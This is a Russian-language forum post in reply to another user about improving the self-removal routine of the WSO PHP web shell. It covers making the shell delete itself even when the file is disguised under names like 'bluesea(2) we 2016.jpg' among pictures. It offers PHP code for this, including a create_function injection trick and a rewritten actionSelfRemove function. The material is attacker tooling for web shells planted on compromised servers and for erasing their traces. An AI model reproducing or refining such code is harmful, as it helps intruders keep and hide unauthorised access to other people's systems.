Цитата:
Сообщение от oRb
Я что-то не понимаю смысл ваших телодвижений.
Константа __FILE__ у меня в коде используется 1 раз. И там где используется, проблема с дополнительной инфой в пути уже давно решена:
PHP код:
if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
die('Shell has been removed');
|
хз), но если шелл называться будет
file(2) ABC.php или
bluesea(2) we 2016.jpg и т.д, то уже точно себя не удалит. Интересно, что когда
bluesea(2)[ ][ ]we 2016.jpg, то также не удалит(имеется ввиду несколько пробелов), так как метасимвол точка соответствует также непечатаемому символу, кроме "\n". В обшем как-то не универсально, не знаю. Получается, что нельзя сделать типо копию файла шелл, который, например, был уместный в папке с рисунками где много копий.
Так как веб-сервер обрабатывает файлы все-равно по расширению, то может вот так слелать?
PHP код:
create_function("","};"."\$f=pathinfo(__FILE__);echo \$f['filename'].'.'.preg_replace('!\(\d+\)\s.*!', '', \$f['extension']);"."//");
В функции удаления еще не выводится шапка(видно на рисунке!), когда шелл не удален, можно wsoHeader(); наверх переместить. И вся функция может выглядеть как-то так.
PHP код:
function actionSelfRemove() {
if($_POST['p1'] == 'yes') {
$f=pathinfo(__FILE__);
$f=$f['filename'].'.'.preg_replace('!\(\d+\)\s.*!', '', $f['extension']);
if(@unlink($f))
die('Shell has been removed');
else {
wsoHeader();
echo 'unlink error!';
}
}
if($_POST['p1'] != 'yes') {
wsoHeader();
echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
}
wsoFooter();
}
Когда шелл удален, то вывести die('удален').
Когда не удален, то вывести хедер, сообщение, футер.
Когда нажать на Self remote, то вывести хедер, диалог, футер.